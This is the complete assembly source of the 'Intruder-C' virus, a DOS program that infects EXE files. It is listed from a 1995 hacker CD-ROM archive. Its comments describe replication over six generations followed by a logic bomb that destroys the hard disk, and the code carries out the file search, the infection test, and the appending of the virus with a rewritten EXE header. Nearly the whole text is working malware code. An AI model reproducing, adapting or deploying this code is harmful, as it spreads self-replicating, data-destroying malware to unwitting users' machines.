home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / DESTRUCT / INTR-C.ASM < prev   
Encoding:
Assembly Source File  |  1995-08-18  |  12.3 KB  |  257 lines

  1. ;The Intruder-C Virus is an EXE file infector which stays put in one directory.
  2. ;It attaches itself to the end of a file and modifies the EXE file header so
  3. ;that it gets control first, before the host program. When it is done doing
  4. ;its job, it passes control to the host program, so that the host executes
  5. ;without a hint that the virus is there. This variant is very dangerous. It
  6. ;will replicate for 6 generations and then write a logic bomb to destroy the
  7. ;hard disk to IO.SYS. Watch out! For experimental purposes only! Do not
  8. ;release!!
  9.  
  10. ;(C) 1995 American Eagle Publications, Inc. All rights reserved!
  11. ;Release of this virus constitutes breach of copyright!
  12.  
  13.  
  14.         .SEQ                       ;segments must appear in sequential order
  15.                                    ;to simulate conditions in actual active virus
  16.  
  17. ;************************************************************************
  18. ;This is the virus itself
  19.  
  20. NUMRELS         EQU     2               ;number of relocatables in the virus
  21. STACKSIZE       EQU     512             ;size of virus stack
  22.  
  23. ;Intruder Virus code segment. This gains control first, before the host. As this
  24. ;ASM file is layed out, this program will look exactly like a simple program
  25. ;that was infected by the virus.
  26.  
  27. VSEG    SEGMENT PARA
  28.         ASSUME  CS:VSEG,DS:VSEG,SS:NOTHING
  29.  
  30. ;Data storage area
  31. DTA     DB      2BH dup (?)           ;new disk transfer area
  32. EXE_HDR DB      1CH dup (?)           ;buffer for EXE file header
  33. EXEFILE DB      '*.EXE',0             ;search string for an exe file
  34.  
  35. ;The following 10 bytes must stay together because they are an image of 10
  36. ;bytes from the EXE header
  37. HOSTS   DW      0,0                   ;host stack and code segments
  38. FILLER  DW      ?                     ;these are hard-coded 1st generation
  39. HOSTC   DW      0,0                   ;Use HOSTSEG for HOSTS, not HSTACK to fool A86
  40.  
  41. ;Main routine starts here. This is where cs:ip will be initialized to.
  42. VIRUS:
  43.         push    ax              ;save startup info in ax
  44.         mov     al,cs:[FIRST]   ;save this
  45.         mov     cs:[FIRST],1    ;and set it to 1 for replication
  46.         push    ax
  47.         push    es
  48.         push    ds
  49.         push    cs
  50.         pop     ds              ;set ds=cs
  51.         mov     ah,2FH          ;get current DTA address
  52.         int     21H
  53.         push    es
  54.         push    bx              ;save it on the stack
  55.         mov     ah,1AH          ;set up a new DTA location
  56.         mov     dx,OFFSET DTA   ;for viral use
  57.         int     21H
  58.         call    TRIGGER         ;see if logic bomb should trigger
  59.         jnz     GO_REP          ;no, just go replicate
  60.         call    BOMB            ;yes, call the logic bomb
  61.         jmp     FINISH          ;and exit without further replication
  62. GO_REP: call    FINDEXE         ;get an exe file to attack
  63.         jc      FINISH          ;returned c - no valid file, exit
  64.         call    INFECT          ;move virus code to file we found
  65. FINISH: pop     dx              ;get old DTA in ds:dx
  66.         pop     ds
  67.         mov     ah,1AH          ;restore DTA
  68.         int     21H
  69.         pop     ds              ;restore ds
  70.         pop     es              ;and es
  71.         pop     ax
  72.         mov     cs:[FIRST],al   ;restore FIRST flag now
  73.         pop     ax              ;restore startup value of ax
  74.         cmp     BYTE PTR cs:[FIRST],0   ;is this the first execution?
  75.         je      FEXIT                   ;yes, exit differently
  76.         cli
  77.         mov     ss,WORD PTR cs:[HOSTS]  ;set up host stack properly
  78.         mov     sp,WORD PTR cs:[HOSTS+2]
  79.         sti
  80.         jmp     DWORD PTR cs:[HOSTC]    ;begin execution of host program
  81.  
  82. FEXIT:  retf                            ;just retf for first exit
  83.  
  84. FIRST   DB      0               ;flag for first execution
  85.  
  86. INCLUDE BOMBINC.ASM
  87.  
  88. ;This function searches the current directory for an EXE file which passes
  89. ;the test FILE_OK. This routine will return the EXE name in the DTA, with the
  90. ;file open, and the c flag reset, if it is successful. Otherwise, it will
  91. ;return with the c flag set. It will search a whole directory before giving up.
  92. FINDEXE:
  93.         mov     dx,OFFSET EXEFILE
  94.         mov     cx,3FH          ;search first for any file *.EXE
  95.         mov     ah,4EH
  96.         int     21H
  97. NEXTE:  jc      FEX             ;is DOS return OK? if not, quit with c set
  98.         call    FILE_OK         ;yes - is this a good file to use?
  99.         jnc     FEX             ;yes - valid file found - exit with c reset
  100.         mov     ah,4FH
  101.         int     21H             ;do find next
  102.         jmp     SHORT NEXTE     ;and go test it for validity
  103. FEX:    ret                     ;return with c set properly
  104.  
  105.  
  106. ;Function to determine whether the EXE file found by the search routine is
  107. ;useable. If so return nc, else return c
  108. ;What makes an EXE file useable?:
  109. ;              a) The signature field in the EXE header must be 'MZ'. (These
  110. ;                 are the first two bytes in the file.)
  111. ;              b) The Overlay Number field in the EXE header must be zero.
  112. ;              c) It should be a DOS EXE, without Windows or OS/2 extensions.
  113. ;              d) There must be room in the relocatable table for NUMRELS
  114. ;                 more relocatables without enlarging it.
  115. ;              e) The initial ip stored in the EXE header must be different
  116. ;                 than the viral initial ip. If they're the same, the virus
  117. ;                 is probably already in that file, so we skip it.
  118. ;
  119. FILE_OK:
  120.         mov     dx,OFFSET DTA+1EH
  121.         mov     ax,3D02H               ;r/w access open file
  122.         int     21H
  123.         jc      OK_END1                ;error opening - C set - quit without closing
  124.         mov     bx,ax                  ;put handle into bx and leave bx alone from here on out
  125.         mov     cx,1CH                 ;read 28 byte EXE file header
  126.         mov     dx,OFFSET EXE_HDR      ;into this buffer
  127.         mov     ah,3FH                 ;for examination and modification
  128.         int     21H
  129.         jc      OK_END                 ;error in reading the file, so quit
  130.         cmp     WORD PTR [EXE_HDR],'ZM';check EXE signature of MZ
  131.         jnz     OK_END                 ;close & exit if not
  132.         cmp     WORD PTR [EXE_HDR+26],0;check overlay number
  133.         jnz     OK_END                 ;not 0 - exit with c set
  134.         cmp     WORD PTR [EXE_HDR+24],40H ;is rel table at offset 40H or more?
  135.         jnc     OK_END                 ;yes, it is not a DOS EXE, so skip it
  136.         call    REL_ROOM               ;is there room in the relocatable table?
  137.         jc      OK_END                 ;no - exit
  138.         cmp     WORD PTR [EXE_HDR+14H],OFFSET VIRUS  ;see if initial ip = virus initial ip
  139.         clc
  140.         jne     OK_END1                ;if all successful, leave file open
  141. OK_END: mov     ah,3EH                 ;else close the file
  142.         int     21H
  143.         stc                            ;set carry to indicate file not ok
  144. OK_END1:ret                            ;return with c flag set properly
  145.  
  146.  
  147. ;This function determines if there are at least NUMRELS openings in the
  148. ;relocatable table for the file. If there are, it returns with carry reset,
  149. ;otherwise it returns with carry set. The computation this routine does is
  150. ;to compare whether
  151. ;    ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
  152. ;is >= than 4 * NUMRELS. If it is, then there is enough room
  153. ;
  154. REL_ROOM:
  155.         mov     ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
  156.         add     ax,ax
  157.         add     ax,ax
  158.         sub     ax,WORD PTR [EXE_HDR+6] ;number of relocatables
  159.         add     ax,ax
  160.         add     ax,ax
  161.         sub     ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
  162.         cmp     ax,4*NUMRELS            ;enough room to put relocatables in?
  163.         ret                             ;exit with carry set properly
  164.  
  165.  
  166. ;This routine moves the virus (this program) to the end of the EXE file
  167. ;Basically, it just copies everything here to there, and then goes and
  168. ;adjusts the EXE file header and two relocatables in the program, so that
  169. ;it will work in the new environment. It also makes sure the virus starts
  170. ;on a paragraph boundary, and adds how many bytes are necessary to do that.
  171. INFECT:
  172.         mov     cx,WORD PTR [DTA+1CH]   ;adjust file length to paragraph
  173.         mov     dx,WORD PTR [DTA+1AH]   ;boundary
  174.         or      dl,0FH
  175.         add     dx,1
  176.         adc     cx,0
  177.         mov     WORD PTR [DTA+1CH],cx
  178.         mov     WORD PTR [DTA+1AH],dx
  179.         mov     ax,4200H                ;set file pointer, relative to beginning
  180.         int     21H                     ;go to end of file + boundary
  181.  
  182.         mov     cx,OFFSET FINAL         ;last byte of code
  183.         xor     dx,dx                   ;first byte of code, ds:dx
  184.         mov     ah,40H                  ;write body of virus to file
  185.         int     21H
  186.  
  187.         mov     dx,WORD PTR [DTA+1AH]   ;find relocatables in code
  188.         mov     cx,WORD PTR [DTA+1CH]   ;original end of file
  189.         add     dx,OFFSET HOSTS         ;            + offset of HOSTS
  190.         adc     cx,0                    ;cx:dx is that number
  191.         mov     ax,4200H                ;set file pointer to 1st relocatable
  192.         int     21H
  193.         mov     dx,OFFSET EXE_HDR+14    ;get correct host ss:sp, cs:ip
  194.         mov     cx,10
  195.         mov     ah,40H                  ;and write it to HOSTS/HOSTC
  196.         int     21H
  197.  
  198.         xor     cx,cx                   ;so now adjust the EXE header values
  199.         xor     dx,dx
  200.         mov     ax,4200H                ;set file pointer to start of file
  201.         int     21H
  202.  
  203.         mov     ax,WORD PTR [DTA+1AH]   ;calculate viral initial CS
  204.         mov     dx,WORD PTR [DTA+1CH]   ; = File size / 16 - Header Size(Para)
  205.         mov     cx,16
  206.         div     cx                      ;dx:ax contains file size / 16
  207.         sub     ax,WORD PTR [EXE_HDR+8] ;subtract exe header size, in paragraphs
  208.         mov     WORD PTR [EXE_HDR+22],ax;save as initial CS
  209.         mov     WORD PTR [EXE_HDR+14],ax;save as initial SS
  210.         mov     WORD PTR [EXE_HDR+20],OFFSET VIRUS  ;save initial ip
  211.         mov     WORD PTR [EXE_HDR+16],OFFSET FINAL + STACKSIZE  ;save initial sp
  212.  
  213.         mov     dx,WORD PTR [DTA+1CH]   ;calculate new file size for header
  214.         mov     ax,WORD PTR [DTA+1AH]   ;get original size
  215.         add     ax,OFFSET FINAL + 200H  ;add virus size + 1 paragraph, 512 bytes
  216.         adc     dx,0
  217.         mov     cx,200H                 ;divide by paragraph size
  218.         div     cx                      ;ax=paragraphs, dx=last paragraph size
  219.         mov     WORD PTR [EXE_HDR+4],ax ;and save paragraphs here
  220.         mov     WORD PTR [EXE_HDR+2],dx ;last paragraph size here
  221.         add     WORD PTR [EXE_HDR+6],NUMRELS    ;adjust relocatables counter
  222.         mov     cx,1CH                  ;and save 1CH bytes of header
  223.         mov     dx,OFFSET EXE_HDR       ;at start of file
  224.         mov     ah,40H
  225.         int     21H
  226.                                         ;now modify relocatables table
  227.         mov     ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
  228.         dec     ax                      ;in order to calculate location of
  229.         dec     ax                      ;where to add relocatables
  230.         mov     cx,4                    ;Location= (No in table-2)*4+Table Offset
  231.         mul     cx
  232.         add     ax,WORD PTR [EXE_HDR+24];table offset
  233.         adc     dx,0
  234.         mov     cx,dx
  235.         mov     dx,ax
  236.         mov     ax,4200H                ;set file pointer to table end
  237.         int     21H
  238.  
  239.         mov     WORD PTR [EXE_HDR],OFFSET HOSTS    ;use EXE_HDR as buffer
  240.         mov     ax,WORD PTR [EXE_HDR+22]           ;and set up 2 pointers to file
  241.         mov     WORD PTR [EXE_HDR+2],ax            ;1st points to ss in HOSTS
  242.         mov     WORD PTR [EXE_HDR+4],OFFSET HOSTC+2
  243.         mov     WORD PTR [EXE_HDR+6],ax            ;second to cs in HOSTC
  244.         mov     cx,8                    ;ok, write 8 bytes of data
  245.         mov     dx,OFFSET EXE_HDR
  246.         mov     ah,40H                  ;DOS write function
  247.         int     21H
  248.         mov     ah,3EH                  ;close file now
  249.         int     21H
  250.         ret                             ;that's it, infection is complete!
  251.  
  252. FINAL:                                  ;label for end of virus
  253.  
  254. VSEG    ENDS
  255.  
  256.         END VIRUS               ;Entry point is the virus
  257.